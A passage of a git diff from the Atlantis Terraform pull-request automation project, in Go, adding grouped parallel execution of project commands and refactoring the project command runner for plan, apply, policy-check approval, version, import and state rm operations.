[]models.ProjectStatus{ + { + Status: models.ErroredPlanStatus, + RepoRelDir: "dir2", + }, + { + Status: models.ErroredPolicyCheckStatus, + RepoRelDir: "dir1", + }, + } + + result := subject.BuildProjectContext(commandCtx, command.Plan, "", projCfg, []string{}, "some/dir", false, false, false, false, true, terraformClient) + + assert.True(t, result[0].AbortOnExecutionOrderFail) + }) +} diff --git a/server/events/project_command_pool_executor.go b/server/events/project_command_pool_executor.go new file mode 100644 index 0000000000..bd6a934b36 --- /dev/null +++ b/server/events/project_command_pool_executor.go @@ -0,0 +1,92 @@ +package events + +import ( + "sort" + "sync" + + "github.com/remeh/sizedwaitgroup" + "github.com/runatlantis/atlantis/server/events/command" +) + +type prjCmdRunnerFunc func(ctx command.ProjectContext) command.ProjectResult + +func runProjectCmdsParallel( + cmds []command.ProjectContext, + runnerFunc prjCmdRunnerFunc, + poolSize int, +) command.Result { + var results []command.ProjectResult + mux := &sync.Mutex{} + + wg := sizedwaitgroup.New(poolSize) + for _, pCmd := range cmds { + pCmd := pCmd + var execute func() + wg.Add() + + execute = func() { + defer wg.Done() + res := runnerFunc(pCmd) + mux.Lock() + results = append(results, res) + mux.Unlock() + } + + go execute() + } + + wg.Wait() + return command.Result{ProjectResults: results} +} + +func runProjectCmds( + cmds []command.ProjectContext, + runnerFunc prjCmdRunnerFunc, +) command.Result { + var results []command.ProjectResult + for _, pCmd := range cmds { + res := runnerFunc(pCmd) + + results = append(results, res) + } + return command.Result{ProjectResults: results} +} + +func splitByExecutionOrderGroup(cmds []command.ProjectContext) [][]command.ProjectContext { + groups := make(map[int][]command.ProjectContext) + for _, cmd := range cmds { + groups[cmd.ExecutionOrderGroup] = append(groups[cmd.ExecutionOrderGroup], cmd) + } + + var groupKeys []int + for k := range groups { + groupKeys = append(groupKeys, k) + } + sort.Ints(groupKeys) + + var res [][]command.ProjectContext + for _, group := range groupKeys { + res = append(res, groups[group]) + } + return res +} + +func runProjectCmdsParallelGroups( + ctx *command.Context, + cmds []command.ProjectContext, + runnerFunc prjCmdRunnerFunc, + poolSize int, +) command.Result { + var results []command.ProjectResult + groups := splitByExecutionOrderGroup(cmds) + for _, group := range groups { + res := runProjectCmdsParallel(group, runnerFunc, poolSize) + results = append(results, res.ProjectResults...) + if res.HasErrors() && group[0].AbortOnExecutionOrderFail { + ctx.Log.Info("abort on execution order when failed") + break + } + } + + return command.Result{ProjectResults: results} +} diff --git a/server/events/project_command_runner.go b/server/events/project_command_runner.go index cc3a8b0a4c..6dd5fadd19 100644 --- a/server/events/project_command_runner.go +++ b/server/events/project_command_runner.go @@ -14,20 +14,24 @@ package events import ( + "encoding/json" + "errors" "fmt" "os" "path/filepath" "strings" - "github.com/pkg/errors" + "github.com/runatlantis/atlantis/server/core/config/valid" + "github.com/runatlantis/atlantis/server/core/runtime" + "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" - "github.com/runatlantis/atlantis/server/events/runtime" + "github.com/runatlantis/atlantis/server/events/vcs" "github.com/runatlantis/atlantis/server/events/webhooks" - "github.com/runatlantis/atlantis/server/events/yaml/raw" - "github.com/runatlantis/atlantis/server/events/yaml/valid" "github.com/runatlantis/atlantis/server/logging" ) +const OperationComplete = true + // DirNotExistErr is an error caused by the directory not existing. type DirNotExistErr struct { RepoRelDir string @@ -38,7 +42,7 @@ func (d DirNotExistErr) Error() string { return fmt.Sprintf("dir %q does not exist", d.RepoRelDir) } -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_lock_url_generator.go LockURLGenerator +//go:generate pegomock generate --package mocks -o mocks/mock_lock_url_generator.go LockURLGenerator // LockURLGenerator generates urls to locks. type LockURLGenerator interface { @@ -46,97 +50,523 @@ type LockURLGenerator interface { GenerateLockURL(lockID string) string } -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_step_runner.go StepRunner +//go:generate pegomock generate --package mocks -o mocks/mock_step_runner.go StepRunner // StepRunner runs steps. Steps are individual pieces of execution like // `terraform plan`. type StepRunner interface { // Run runs the step. - Run(ctx models.ProjectCommandContext, extraArgs []string, path string, envs map[string]string) (string, error) + Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) } -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_custom_step_runner.go CustomStepRunner +//go:generate pegomock generate --package mocks -o mocks/mock_custom_step_runner.go CustomStepRunner // CustomStepRunner runs custom run steps. type CustomStepRunner interface { // Run cmd in path. - Run(ctx models.ProjectCommandContext, cmd string, path string, envs map[string]string) (string, error) + Run( + ctx command.ProjectContext, + shell *valid.CommandShell, + cmd string, + path string, + envs map[string]string, + streamOutput bool, + postProcessOutput valid.PostProcessRunOutputOption, + ) (string, error) } -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_env_step_runner.go EnvStepRunner +//go:generate pegomock generate --package mocks -o mocks/mock_env_step_runner.go EnvStepRunner // EnvStepRunner runs env steps. type EnvStepRunner interface { - Run(ctx models.ProjectCommandContext, cmd string, value string, path string, envs map[string]string) (string, error) + Run( + ctx command.ProjectContext, + shell *valid.CommandShell, + cmd string, + value string, + path string, + envs map[string]string, + ) (string, error) +} + +// MultiEnvStepRunner runs multienv steps. +type MultiEnvStepRunner interface { + // Run cmd in path. + Run( + ctx command.ProjectContext, + shell *valid.CommandShell, + cmd string, + path string, + envs map[string]string, + postProcessOutput valid.PostProcessRunOutputOption, + ) (string, error) } -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_webhooks_sender.go WebhooksSender +//go:generate pegomock generate --package mocks -o mocks/mock_webhooks_sender.go WebhooksSender // WebhooksSender sends webhook. type WebhooksSender interface { // Send sends the webhook. - Send(log *logging.SimpleLogger, res webhooks.ApplyResult) error + Send(log logging.SimpleLogging, res webhooks.ApplyResult) error } -//go:generate pegomock generate -m --use-experimental-model-gen --package mocks -o mocks/mock_project_command_runner.go ProjectCommandRunner +//go:generate pegomock generate --package mocks -o mocks/mock_project_command_runner.go ProjectCommandRunner + +type ProjectPlanCommandRunner interface { + // Plan runs terraform plan for the project described by ctx. + Plan(ctx command.ProjectContext) command.ProjectResult +} + +type ProjectApplyCommandRunner interface { + // Apply runs terraform apply for the project described by ctx. + Apply(ctx command.ProjectContext) command.ProjectResult +} + +type ProjectPolicyCheckCommandRunner interface { + // PolicyCheck runs OPA defined policies for the project described by ctx. + PolicyCheck(ctx command.ProjectContext) command.ProjectResult +} + +type ProjectApprovePoliciesCommandRunner interface { + // Approves any failing OPA policies. + ApprovePolicies(ctx command.ProjectContext) command.ProjectResult +} + +type ProjectVersionCommandRunner interface { + // Version runs terraform version for the project described by ctx. + Version(ctx command.ProjectContext) command.ProjectResult +} + +type ProjectImportCommandRunner interface { + // Import runs terraform import for the project described by ctx. + Import(ctx command.ProjectContext) command.ProjectResult +} + +type ProjectStateCommandRunner interface { + // StateRm runs terraform state rm for the project described by ctx. + StateRm(ctx command.ProjectContext) command.ProjectResult +} // ProjectCommandRunner runs project commands. A project command is a command // for a specific TF project. type ProjectCommandRunner interface { - // Plan runs terraform plan for the project described by ctx. - Plan(ctx models.ProjectCommandContext) models.ProjectResult - // Apply runs terraform apply for the project described by ctx. - Apply(ctx models.ProjectCommandContext) models.ProjectResult + ProjectPlanCommandRunner + ProjectApplyCommandRunner + ProjectPolicyCheckCommandRunner + ProjectApprovePoliciesCommandRunner + ProjectVersionCommandRunner + ProjectImportCommandRunner + ProjectStateCommandRunner +} + +//go:generate pegomock generate --package mocks -o mocks/mock_job_url_setter.go JobURLSetter + +type JobURLSetter interface { + // SetJobURLWithStatus sets the commit status for the project represented by + // ctx and updates the status with and url to a job. + SetJobURLWithStatus(ctx command.ProjectContext, cmdName command.Name, status models.CommitStatus, res *command.ProjectResult) error +} + +//go:generate pegomock generate --package mocks -o mocks/mock_job_message_sender.go JobMessageSender + +type JobMessageSender interface { + Send(ctx command.ProjectContext, msg string, operationComplete bool) +} + +// ProjectOutputWrapper is a decorator that creates a new PR status check per project. +// The status contains a url that outputs current progress of the terraform plan/apply command. +type ProjectOutputWrapper struct { + ProjectCommandRunner + JobMessageSender JobMessageSender + JobURLSetter JobURLSetter +} + +func (p *ProjectOutputWrapper) Plan(ctx command.ProjectContext) command.ProjectResult { + result := p.updateProjectPRStatus(command.Plan, ctx, p.ProjectCommandRunner.Plan) + p.JobMessageSender.Send(ctx, "", OperationComplete) + return result +} + +func (p *ProjectOutputWrapper) Apply(ctx command.ProjectContext) command.ProjectResult { + result := p.updateProjectPRStatus(command.Apply, ctx, p.ProjectCommandRunner.Apply) + p.JobMessageSender.Send(ctx, "", OperationComplete) + return result +} + +func (p *ProjectOutputWrapper) updateProjectPRStatus(commandName command.Name, ctx command.ProjectContext, execute func(ctx command.ProjectContext) command.ProjectResult) command.ProjectResult { + // Create a PR status to track project's plan status. The status will + // include a link to view the progress of atlantis plan command in real + // time + if err := p.JobURLSetter.SetJobURLWithStatus(ctx, commandName, models.PendingCommitStatus, nil); err != nil { + ctx.Log.Err("updating project PR status", err) + } + + // ensures we are differentiating between project level command and overall command + result := execute(ctx) + + if result.Error != nil || result.Failure != "" { + if err := p.JobURLSetter.SetJobURLWithStatus(ctx, commandName, models.FailedCommitStatus, &result); err != nil { + ctx.Log.Err("updating project PR status", err) + } + + return result + } + + if err := p.JobURLSetter.SetJobURLWithStatus(ctx, commandName, models.SuccessCommitStatus, &result); err != nil { + ctx.Log.Err("updating project PR status", err) + } + + return result } // DefaultProjectCommandRunner implements ProjectCommandRunner. type DefaultProjectCommandRunner struct { - Locker ProjectLocker - LockURLGenerator LockURLGenerator - InitStepRunner StepRunner - PlanStepRunner StepRunner - ApplyStepRunner StepRunner - RunStepRunner CustomStepRunner - EnvStepRunner EnvStepRunner - PullApprovedChecker runtime.PullApprovedChecker - WorkingDir WorkingDir - Webhooks WebhooksSender - WorkingDirLocker WorkingDirLocker + VcsClient vcs.Client + Locker ProjectLocker + LockURLGenerator LockURLGenerator + Logger logging.SimpleLogging + InitStepRunner StepRunner + PlanStepRunner StepRunner + ShowStepRunner StepRunner + ApplyStepRunner StepRunner + PolicyCheckStepRunner StepRunner + VersionStepRunner StepRunner + ImportStepRunner StepRunner + StateRmStepRunner StepRunner + RunStepRunner CustomStepRunner + EnvStepRunner EnvStepRunner + MultiEnvStepRunner MultiEnvStepRunner + PullApprovedChecker runtime.PullApprovedChecker + WorkingDir WorkingDir + Webhooks WebhooksSender + WorkingDirLocker WorkingDirLocker + CommandRequirementHandler CommandRequirementHandler } // Plan runs terraform plan for the project described by ctx. -func (p *DefaultProjectCommandRunner) Plan(ctx models.ProjectCommandContext) models.ProjectResult { +func (p *DefaultProjectCommandRunner) Plan(ctx command.ProjectContext) command.ProjectResult { planSuccess, failure, err := p.doPlan(ctx) - return models.ProjectResult{ - Command: models.PlanCommand, - PlanSuccess: planSuccess, - Error: err, - Failure: failure, - RepoRelDir: ctx.RepoRelDir, - Workspace: ctx.Workspace, - ProjectName: ctx.ProjectName, + return command.ProjectResult{ + Command: command.Plan, + PlanSuccess: planSuccess, + Error: err, + Failure: failure, + RepoRelDir: ctx.RepoRelDir, + Workspace: ctx.Workspace, + ProjectName: ctx.ProjectName, + SilencePRComments: ctx.SilencePRComments, + } +} + +// PolicyCheck evaluates policies defined with Rego for the project described by ctx. +func (p *DefaultProjectCommandRunner) PolicyCheck(ctx command.ProjectContext) command.ProjectResult { + policySuccess, failure, err := p.doPolicyCheck(ctx) + return command.ProjectResult{ + Command: command.PolicyCheck, + PolicyCheckResults: policySuccess, + Error: err, + Failure: failure, + RepoRelDir: ctx.RepoRelDir, + Workspace: ctx.Workspace, + ProjectName: ctx.ProjectName, } } // Apply runs terraform apply for the project described by ctx. -func (p *DefaultProjectCommandRunner) Apply(ctx models.ProjectCommandContext) models.ProjectResult { +func (p *DefaultProjectCommandRunner) Apply(ctx command.ProjectContext) command.ProjectResult { applyOut, failure, err := p.doApply(ctx) - return models.ProjectResult{ - Command: models.ApplyCommand, - Failure: failure, - Error: err, - ApplySuccess: applyOut, - RepoRelDir: ctx.RepoRelDir, - Workspace: ctx.Workspace, - ProjectName: ctx.ProjectName, + return command.ProjectResult{ + Command: command.Apply, + Failure: failure, + Error: err, + ApplySuccess: applyOut, + RepoRelDir: ctx.RepoRelDir, + Workspace: ctx.Workspace, + ProjectName: ctx.ProjectName, + SilencePRComments: ctx.SilencePRComments, + } +} + +func (p *DefaultProjectCommandRunner) ApprovePolicies(ctx command.ProjectContext) command.ProjectResult { + approvedOut, failure, err := p.doApprovePolicies(ctx) + return command.ProjectResult{ + Command: command.PolicyCheck, + Failure: failure, + Error: err, + PolicyCheckResults: approvedOut, + RepoRelDir: ctx.RepoRelDir, + Workspace: ctx.Workspace, + ProjectName: ctx.ProjectName, + } +} + +func (p *DefaultProjectCommandRunner) Version(ctx command.ProjectContext) command.ProjectResult { + versionOut, failure, err := p.doVersion(ctx) + return command.ProjectResult{ + Command: command.Version, + Failure: failure, + Error: err, + VersionSuccess: versionOut, + RepoRelDir: ctx.RepoRelDir, + Workspace: ctx.Workspace, + ProjectName: ctx.ProjectName, + } +} + +// Import runs terraform import for the project described by ctx. +func (p *DefaultProjectCommandRunner) Import(ctx command.ProjectContext) command.ProjectResult { + importSuccess, failure, err := p.doImport(ctx) + return command.ProjectResult{ + Command: command.Import, + ImportSuccess: importSuccess, + Error: err, + Failure: failure, + RepoRelDir: ctx.RepoRelDir, + Workspace: ctx.Workspace, + ProjectName: ctx.ProjectName, + } +} + +// StateRm runs terraform state rm for the project described by ctx. +func (p *DefaultProjectCommandRunner) StateRm(ctx command.ProjectContext) command.ProjectResult { + stateRmSuccess, failure, err := p.doStateRm(ctx) + return command.ProjectResult{ + Command: command.State, + SubCommand: "rm", + StateRmSuccess: stateRmSuccess, + Error: err, + Failure: failure, + RepoRelDir: ctx.RepoRelDir, + Workspace: ctx.Workspace, + ProjectName: ctx.ProjectName, + } +} + +func (p *DefaultProjectCommandRunner) doApprovePolicies(ctx command.ProjectContext) (*models.PolicyCheckResults, string, error) { + // Acquire Atlantis lock for this repo/dir/workspace. + lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnPlanMode) + if err != nil { + return nil, "", fmt.Errorf("acquiring lock: %w", err) + } + if !lockAttempt.LockAcquired { + return nil, lockAttempt.LockFailureReason, nil + } + ctx.Log.Debug("acquired lock for project") + + // Acquire internal lock for the directory we're going to operate in. + unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir) + if err != nil { + return nil, "", err + } + defer unlockFn() + + teams := []string{} + + policySetCfg := ctx.PolicySets + + // Only query the users team membership if any teams have been configured as owners on any policy set(s). + if policySetCfg.HasTeamOwners() { + // A convenient way to access vcsClient. Not sure if best way. + userTeams, err := p.VcsClient.GetTeamNamesForUser(p.Logger, ctx.Pull.BaseRepo, ctx.User) + if err != nil { + ctx.Log.Err("unable to get team membership for user: %s", err) + return nil, "", err + } + teams = append(teams, userTeams...) + } + isAdmin := policySetCfg.Owners.IsOwner(ctx.User.Username, teams) + + var failure string + + // Run over each policy set for the project and perform appropriate approval. + var prjPolicySetResults []models.PolicySetResult + var prjErr error + allPassed := true + for _, policySet := range policySetCfg.PolicySets { + isOwner := policySet.Owners.IsOwner(ctx.User.Username, teams) || isAdmin + prjPolicyStatus := ctx.ProjectPolicyStatus + for i, policyStatus := range prjPolicyStatus { + ignorePolicy := false + if policySet.Name == policyStatus.PolicySetName { + // Policy set either passed or has sufficient approvals. Move on. + if policyStatus.Passed || (policyStatus.Approvals == policySet.ApproveCount) { + if !ctx.ClearPolicyApproval { + ignorePolicy = true + } + } + // Set ignore flag if targeted policy does not match. + if ctx.PolicySetTarget != "" && (ctx.PolicySetTarget != policySet.Name) { + ignorePolicy = true + } + // Increment approval if user is owner. + if isOwner && !ignorePolicy && (ctx.User.Username != ctx.Pull.Author || !policySet.PreventSelfApprove) { + if !ctx.ClearPolicyApproval { + prjPolicyStatus[i].Approvals = policyStatus.Approvals + 1 + } else { + prjPolicyStatus[i].Approvals = 0 + } + // User matches the author and prevent self approve is set to true + } else if isOwner && !ignorePolicy && ctx.User.Username == ctx.Pull.Author && policySet.PreventSelfApprove { + prjErr = errors.Join(prjErr, fmt.Errorf("policy set: %s the author of pr %s matches the command commenter user %s - please contact another policy owners to approve failing policies", policySet.Name, ctx.Pull.Author, ctx.User.Username)) + // User is not authorized to approve policy set. + } else if !ignorePolicy { + prjErr = errors.Join(prjErr, fmt.Errorf("policy set: %s user %s is not a policy owner - please contact policy owners to approve failing policies", policySet.Name, ctx.User.Username)) + } + // Still bubble up this failure, even if policy set is not targeted. + if !policyStatus.Passed && (prjPolicyStatus[i].Approvals != policySet.ApproveCount) { + allPassed = false + } + + prjPolicySetResults = append(prjPolicySetResults, models.PolicySetResult{ + PolicySetName: policySet.Name, + Passed: policyStatus.Passed, + CurApprovals: prjPolicyStatus[i].Approvals, + ReqApprovals: policySet.ApproveCount, + }) + } + } + } + if !allPassed { + failure = `One or more policy sets require additional approval.` + } + return &models.PolicyCheckResults{ + LockURL: p.LockURLGenerator.GenerateLockURL(lockAttempt.LockKey), + PolicySetResults: prjPolicySetResults, + ApplyCmd: ctx.ApplyCmd, + RePlanCmd: ctx.RePlanCmd, + ApprovePoliciesCmd: ctx.ApprovePoliciesCmd, + }, failure, prjErr +} + +func (p *DefaultProjectCommandRunner) doPolicyCheck(ctx command.ProjectContext) (*models.PolicyCheckResults, string, error) { + // Acquire Atlantis lock for this repo/dir/workspace. + // This should already be acquired from the prior plan operation. + // if for some reason an unlock happens between the plan and policy check step + // we will attempt to capture the lock here but fail to get the working directory + // at which point we will unlock again to preserve functionality + // If we fail to capture the lock here (super unlikely) then we error out and the user is forced to replan + lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnPlanMode) + + if err != nil { + return nil, "", fmt.Errorf("acquiring lock: %w", err) + } + if !lockAttempt.LockAcquired { + return nil, lockAttempt.LockFailureReason, nil + } + ctx.Log.Debug("acquired lock for project.") + + // Acquire internal lock for the directory we're going to operate in. + // We should refactor this to keep the lock for the duration of plan and policy check since as of now + // there is a small gap where we don't have the lock and if we can't get this here, we should just unlock the PR. + unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir) + if err != nil { + return nil, "", err + } + defer unlockFn() + + // we shouldn't attempt to clone this again. If changes occur to the pull request while the plan is happening + // that shouldn't affect this particular operation. + repoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, ctx.Workspace) + if err != nil { + + // let's unlock here since something probably nuked our directory between the plan and policy check phase + if unlockErr := lockAttempt.UnlockFn(); unlockErr != nil { + ctx.Log.Err("error unlocking state after plan error: %v", unlockErr) + } + + if os.IsNotExist(err) { + return nil, "", errors.New("project has not been cloned–did you run plan?") + } + return nil, "", err + } + absPath := filepath.Join(repoDir, ctx.RepoRelDir) + if _, err = os.Stat(absPath); os.IsNotExist(err) { + + // let's unlock here since something probably nuked our directory between the plan and policy check phase + if unlockErr := lockAttempt.UnlockFn(); unlockErr != nil { + ctx.Log.Err("error unlocking state after plan error: %v", unlockErr) + } + + return nil, "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} } + + var failure string + outputs, err := p.runSteps(ctx.Steps, ctx, absPath) + var errs error + if err != nil { + for { + err = errors.Unwrap(err) + if err == nil { + break + } + // Exclude errors for failed policies + if !strings.Contains(err.Error(), "some policies failed") { + errs = errors.Join(errs, err) + } + } + + if errs != nil { + // Note: we are explicitly not unlocking the pr here since a failing policy check will require + // approval + return nil, "", errs + } + } + + // Separate output from custom run steps + var index int + var preConftestOutput []string + var postConftestOutput []string + var policySetResults []models.PolicySetResult + + for i, output := range outputs { + index = i + if !ctx.CustomPolicyCheck { + err = json.Unmarshal([]byte(strings.Join([]string{output}, "\n")), &policySetResults) + if err == nil { + break + } + preConftestOutput = append(preConftestOutput, output) + } else { + // Using a policy tool other than Conftest, manually building result struct + passed := !strings.Contains(strings.ToLower(output), "fail") + policySetResults = append(policySetResults, models.PolicySetResult{PolicySetName: "Custom", PolicyOutput: output, Passed: passed, ReqApprovals: 1, CurApprovals: 0}) + preConftestOutput = append(preConftestOutput, "") + } + } + + if policySetResults == nil { + return nil, "", errors.New("unable to unmarshal conftest output") + } + if len(outputs) > 0 { + postConftestOutput = outputs[(index + 1):] + } + + result := &models.PolicyCheckResults{ + LockURL: p.LockURLGenerator.GenerateLockURL(lockAttempt.LockKey), + PreConftestOutput: strings.Join(preConftestOutput, "\n"), + PostConftestOutput: strings.Join(postConftestOutput, "\n"), + PolicySetResults: policySetResults, + RePlanCmd: ctx.RePlanCmd, + ApplyCmd: ctx.ApplyCmd, + ApprovePoliciesCmd: ctx.ApprovePoliciesCmd, + } + + // Using this function instead of catching failed policy runs with errors, for cases when '--no-fail' is passed to conftest. + // One reason to pass such an arg to conftest would be to prevent workflow termination so custom run scripts + // can be run after the conftest step. + ctx.Log.Err(strings.Join(outputs, "\n")) + if !result.PolicyCleared() { + failure = "Some policy sets did not pass." + } + + return result, failure, nil } -func (p *DefaultProjectCommandRunner) doPlan(ctx models.ProjectCommandContext) (*models.PlanSuccess, string, error) { +func (p *DefaultProjectCommandRunner) doPlan(ctx command.ProjectContext) (*models.PlanSuccess, string, error) { // Acquire Atlantis lock for this repo/dir/workspace. - lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir)) + lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnPlanMode) if err != nil { - return nil, "", errors.Wrap(err, "acquiring lock") + return nil, "", fmt.Errorf("acquiring lock: %w", err) } if !lockAttempt.LockAcquired { return nil, lockAttempt.LockFailureReason, nil @@ -144,26 +574,40 @@ func (p *DefaultProjectCommandRunner) doPlan(ctx models.ProjectCommandContext) ( ctx.Log.Debug("acquired lock for project") // Acquire internal lock for the directory we're going to operate in. - unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace) + unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir) if err != nil { return nil, "", err } defer unlockFn() // Clone is idempotent so okay to run even if the repo was already cloned. - repoDir, hasDiverged, cloneErr := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace) - if cloneErr != nil { + repoDir, err := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace) + if err != nil { if unlockErr := lockAttempt.UnlockFn(); unlockErr != nil { ctx.Log.Err("error unlocking state after plan error: %v", unlockErr) } - return nil, "", cloneErr + return nil, "", err + } + mergedAgain, err := p.WorkingDir.MergeAgain(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace) + if err != nil { + if unlockErr := lockAttempt.UnlockFn(); unlockErr != nil { + ctx.Log.Err("error unlocking state after plan error: %v", unlockErr) + } + return nil, "", err } + projAbsPath := filepath.Join(repoDir, ctx.RepoRelDir) if _, err = os.Stat(projAbsPath); os.IsNotExist(err) { return nil, "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} } + failure, err := p.CommandRequirementHandler.ValidatePlanProject(repoDir, ctx) + if failure != "" || err != nil { + return nil, failure, err + } + outputs, err := p.runSteps(ctx.Steps, ctx, projAbsPath) + if err != nil { if unlockErr := lockAttempt.UnlockFn(); unlockErr != nil { ctx.Log.Err("error unlocking state after plan error: %v", unlockErr) @@ -176,44 +620,70 @@ func (p *DefaultProjectCommandRunner) doPlan(ctx models.ProjectCommandContext) ( TerraformOutput: strings.Join(outputs, "\n"), RePlanCmd: ctx.RePlanCmd, ApplyCmd: ctx.ApplyCmd, - HasDiverged: hasDiverged, + MergedAgain: mergedAgain, }, "", nil } -func (p *DefaultProjectCommandRunner) runSteps(steps []valid.Step, ctx models.ProjectCommandContext, absPath string) ([]string, error) { - var outputs []string - envs := make(map[string]string) - for _, step := range steps { - var out string - var err error - switch step.StepName { - case "init": - out, err = p.InitStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) - case "plan": - out, err = p.PlanStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) - case "apply": - out, err = p.ApplyStepRunner.Run(ctx, step.ExtraArgs, absPath, envs) - case "run": - out, err = p.RunStepRunner.Run(ctx, step.RunCommand, absPath, envs) - case "env": - out, err = p.EnvStepRunner.Run(ctx, step.RunCommand, step.EnvVarValue, absPath, envs) - envs[step.EnvVarName] = out - // We reset out to the empty string because we don't want it to - // be printed to the PR, it's solely to set the environment variable. - out = "" +func (p *DefaultProjectCommandRunner) doApply(ctx command.ProjectContext) (applyOut string, failure string, err error) { + repoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, ctx.Workspace) + if err != nil { + if os.IsNotExist(err) { + return "", "", errors.New("project has not been cloned–did you run plan?") } + return "", "", err + } + absPath := filepath.Join(repoDir, ctx.RepoRelDir) + if _, err = os.Stat(absPath); os.IsNotExist(err) { + return "", "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} + } - if out != "" { - outputs = append(outputs, out) - } - if err != nil { - return outputs, err - } + failure, err = p.CommandRequirementHandler.ValidateApplyProject(repoDir, ctx) + if failure != "" || err != nil { + return "", failure, err } - return outputs, nil + + failure, err = p.CommandRequirementHandler.ValidateProjectDependencies(ctx) + if failure != "" || err != nil { + return "", failure, err + } + + // Acquire Atlantis lock for this repo/dir/workspace. + lockAttempt, err := p.Locker.TryLock(ctx.Log, ctx.Pull, ctx.User, ctx.Workspace, models.NewProject(ctx.Pull.BaseRepo.FullName, ctx.RepoRelDir, ctx.ProjectName), ctx.RepoLocksMode == valid.RepoLocksOnApplyMode) + if err != nil { + return "", "", fmt.Errorf("acquiring lock: %w", err) + } + if !lockAttempt.LockAcquired { + return "", lockAttempt.LockFailureReason, nil + } + ctx.Log.Debug("acquired lock for project") + + // Acquire internal lock for the directory we're going to operate in. + unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir) + if err != nil { + return "", "", err + } + defer unlockFn() + + outputs, err := p.runSteps(ctx.Steps, ctx, absPath) + + p.Webhooks.Send(ctx.Log, webhooks.ApplyResult{ // nolint: errcheck + Workspace: ctx.Workspace, + User: ctx.User, + Repo: ctx.Pull.BaseRepo, + Pull: ctx.Pull, + Success: err == nil, + Directory: ctx.RepoRelDir, + ProjectName: ctx.ProjectName, + }) + + if err != nil { + return "", "", fmt.Errorf("%s\n%s", err, strings.Join(outputs, "\n")) + } + + return strings.Join(outputs, "\n"), "", nil } -func (p *DefaultProjectCommandRunner) doApply(ctx models.ProjectCommandContext) (applyOut string, failure string, err error) { +func (p *DefaultProjectCommandRunner) doVersion(ctx command.ProjectContext) (versionOut string, failure string, err error) { repoDir, err := p.WorkingDir.GetWorkingDir(ctx.Pull.BaseRepo, ctx.Pull, ctx.Workspace) if err != nil { if os.IsNotExist(err) { @@ -226,40 +696,150 @@ func (p *DefaultProjectCommandRunner) doApply(ctx models.ProjectCommandContext) return "", "", DirNotExistErr{RepoRelDir: ctx.RepoRelDir} } - for _, req := range ctx.ApplyRequirements { - switch req { - case raw.ApprovedApplyRequirement: - approved, err := p.PullApprovedChecker.PullIsApproved(ctx.Pull.BaseRepo, ctx.Pull) // nolint: vetshadow - if err != nil { - return "", "", errors.Wrap(err, "checking if pull request was approved") - } - if !approved { - return "", "Pull request must be approved by at least one person other than the author before running apply.", nil - } - case raw.MergeableApplyRequirement: - if !ctx.PullMergeable { - return "", "Pull request must be mergeable before running apply.", nil - } - } - } // Acquire internal lock for the directory we're going to operate in. - unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace) + unlockFn, err := p.WorkingDirLocker.TryLock(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num, ctx.Workspace, ctx.RepoRelDir) if err != nil { return "", "", err } defer unlockFn() outputs, err := p.runSteps(ctx.Steps, ctx, absPath) - p.Webhooks.Send(ctx.Log, webhooks.ApplyResult{ // nolint: errcheck - Workspace: ctx.Workspace, - User: ctx.User, - Repo: ctx.Pull.BaseRepo, - Pull: ctx.Pull, - Success: err == nil, - Directory: ctx.RepoRelDir, - }) if err != nil { return "", "", fmt.Errorf("%s\n%s", err, strings.Join(outputs, "\n")) } + return strings.Join(outputs, "\n"), "", nil } + +func (p *DefaultProjectCommandRunner) doImport(ctx command.ProjectContext) (out *models.ImportSuccess, failure string, err error) { + // Clone is idempotent so okay to run even if the repo was already cloned. + repoDir, cloneErr := p.WorkingDir.Clone(ctx.Log, ctx.HeadRepo, ctx.Pull, ctx.Workspace) + if cloneErr != nil { + return nil, "", cloneErr + } + projAbsPath := filepath.Join(repoDir, ctx.RepoRelDir) + if _, err = 